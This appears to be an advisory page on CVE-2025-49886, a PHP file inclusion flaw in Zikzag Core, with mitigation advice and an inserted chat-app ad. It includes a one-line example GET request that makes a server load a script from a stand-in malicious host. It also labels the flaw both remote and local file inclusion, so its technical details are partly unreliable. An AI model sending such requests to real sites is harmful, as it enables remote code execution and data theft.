Overview
The cybersecurity landscape is constantly evolving, with new vulnerabilities being discovered and exploited regularly. CVE-2025-49886 is one such vulnerability that affects WebGeniusLab’s Zikzag Core, a popular PHP application. This critical flaw, referred to as a PHP Remote File Inclusion vulnerability, exposes the affected systems to potential compromise and data leakage. Its severity underscores the importance of maintaining updated systems and implementing robust cybersecurity measures.
Vulnerability Summary
CVE ID: CVE-2025-49886
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
WebGeniusLab Zikzag Core | n/a through 1.4.5
How the Exploit Works
CVE-2025-49886 is a PHP Local File Inclusion (LFI) vulnerability that stems from improper control of filename for Include/Require statement in the PHP program. An attacker can leverage this flaw to include files from external servers, leading to the execution of malicious scripts. The flaw grants the attacker the potential to execute any PHP code of their choice on the vulnerable system, leading to system compromise and possible data leakage.
Conceptual Example Code
The following conceptual example demonstrates how an attacker might exploit this vulnerability:
GET /index.php?page=http://malicious.example.com/malicious_script.txt HTTP/1.1
Host: vulnerablewebsite.comIn this example, the attacker injects a link to a malicious PHP script (`http://malicious.example.com/malicious_script.txt`) in the `page` parameter. The server processes the request and includes the malicious script from the external server, leading to the execution of the malicious code.
Mitigation Guidance
To mitigate this vulnerability, users are advised to apply the vendor-provided patch for Zikzag Core as soon as possible. Until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It’s also recommended to disable the inclusion of remote files in the PHP configuration by setting `allow_url_include` to `Off`.